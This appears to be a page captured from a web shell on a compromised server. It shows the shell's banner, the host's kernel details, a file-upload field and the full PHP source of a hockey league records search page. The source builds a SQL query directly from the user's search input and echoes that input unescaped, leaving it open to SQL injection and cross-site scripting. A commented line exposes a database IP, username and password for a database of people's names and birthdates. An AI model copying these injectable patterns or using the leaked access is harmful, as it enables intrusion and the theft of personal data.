AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.149.249.84


Current Path : /var/www/lhjmq-records.qc.ca/public_html/lang_en/search/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/lang_en/search/index.php

<?php
//Include non-standard libraries
include('../administration/lib/lists.php');
include('../administration/lib/locations.php');


include('../administration/includes/mysql_connect.php');
//$mysql_link = mysql_connect('209.104.115.214', 'Lhcarranza', '899357');

mysql_select_db('lhjmq_pii', $mysql_link);


//Default letter if none
if (!isset($_GET['search'])) {
	$_GET['search'] = " ";
} else {
	$_GET['search'] = strtoupper($_GET['search']);
	$sql_segments = mysql_query($sql = 'SELECT r.id,r.info_basicrole, r.info_fname, r.info_lname, r.info_mname, r.info_datenais FROM register AS r, secur_usagersgroupes AS sug1, secur_usagersgroupes AS sug2 WHERE (r.info_fname LIKE "%'.$_GET['search'].'%" OR r.info_lname LIKE "%'.$_GET['search'].'%")AND r.sys_status IN ( 1, 0 ) AND (r.sys_scope =0 OR r.sys_scope =1 OR ( r.sys_scope =2 AND sug1.id_usager = r.sys_owner AND sug1.id_groupe = sug2.id_groupe AND sug2.id_usager = "") OR ( r.sys_scope =3 AND r.sys_owner = "" )) GROUP BY id ORDER BY info_lname, info_fname, info_datenais', $mysql_link);
}


?>
<table><tr><td class="blackText11px">Results for : <? echo $_GET['search'];?></td></tr></table>
<table width="631" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td>
      <!--##### TAB DATE ##### -->
<table width="621" border="0" cellspacing="0" cellpadding="0">
	<tr>
		<td><img src="../../images/tabbar/tabligneshadow.gif" width="621" height="3"></td>
	</tr>
	<tr>
		<td><img src="../../images/spacer.gif" width="1" height="5"></td>
	</tr>
</table>

<!--##### TAB DATE ##### -->

<table width="621" border="0" cellspacing="0" cellpadding="3" class="outlinetab">
	<tr class="darkblueRow">
		<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=abreviation_1&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Eq</a></td>
		<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=numero&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">#</a></td>
		//-->
		<td nowrap class="lnkHdr12px">Name</td>
		<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=lnh&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">LNH</a></td>
		<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=id_type_pos&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Pos</a></td>
		<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=recrues&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">*</a></td>
		//-->
		<td nowrap class="lnkHdr12px">Birthdate</td>
		<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=taille&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Gr.</a></td>
		<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=poid&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Pds</a></td>
		<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=tir&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">L</a></td>
		//-->
		<td nowrap class="lnkHdr12px">Last Status</td>
	</tr>
	<?php
	$rowClass = "list2Reg";
	//foreach ($players as $player) {
	$counter = 0;
	$found_result = "false";

	while($sql_segment = mysql_fetch_assoc($sql_segments)){
		$found_result = "true";
		$counter = $counter + 1;
		if (substr($rowClass, 0, 5) == "list1") {
			$rowClass = "list2Reg";
		} else {
			$rowClass = "list1Reg";
		}
	?>
	<tr class="<?php echo $rowClass; ?>">
		<td nowrap>
			<?php if ($sql_segment['info_basicrole'] == "6" || $sql_segment['info_basicrole'] == "4"){?>
				<a href="index.php?page=2147483647&id_register=<?php echo $sql_segment['id']; ?>" class="lnkBase9px">
			<?}else{?>
				<a href="index.php?page=2147483648&id_register=<?php echo $sql_segment['id']; ?>" class="lnkBase9px">
			<?}
			?>
			<?php echo $sql_segment['info_lname'] . ", " . $sql_segment['info_fname']; ?></a>
		</td>
		<td nowrap class="blackText9px">
			<?php if ($sql_segment['info_datenais'] == '0000-00-00' || $sql_segment['info_datenais'] == '1900-01-01') { echo "-"; } else { echo $sql_segment['info_datenais']; } ?>
		</td>
	 	<?php if ($sql_segment['info_basicrole'] == "6" || $sql_segment['info_basicrole'] == "4"){?>
			<td nowrap class="blackText9px">Player</td>
	 	<?}else{?>
			<td nowrap class="blackText9px">Staff</td>
		<?}?>
	</tr>
		<?
		if ($counter == 20 ){
			$counter = 0;
		?>
		    <tr class="darkblueRow">
		      			<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=abreviation_1&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Eq</a></td>
		      			<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=numero&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">#</a></td>
		      			//-->
						<td nowrap class="lnkHdr12px">Name</td>
						<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=lnh&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">LNH</a></td>
						<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=id_type_pos&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Pos</a></td>
						<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=recrues&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">*</a></td>
						//-->
						<td nowrap class="lnkHdr12px">Birthdate</td>
						<!--<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=taille&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Gr.</a></td>
						<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=poid&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">Pds</a></td>
						<td nowrap><a href="index.php?page=36785432&letter=<?php echo $_GET['letter']; ?>&sortBy=tir&sortByMode=<?php if ($sortByMode == "ASC") { echo "DESC"; } else { echo "ASC"; } ?>" class="lnkHdr12px">L</a></td>
						//-->
						<td nowrap class="lnkHdr12px">Last Status</td>

		    </tr>
		<?}?>

	<?php
	}
	?>
</table>
<br />
<?if ($found_result == "false"){?>
	<span class="BlackText9px">No results</span>
<?}?>
<br />
<table width="621" border="0" cellspacing="0" cellpadding="0" bgcolor="#546085">
<tr>
  <td><img src="../../images/spacer.gif" width="621" height="1"></td>
</tr>
</table>
    </td>
  </tr>
</table>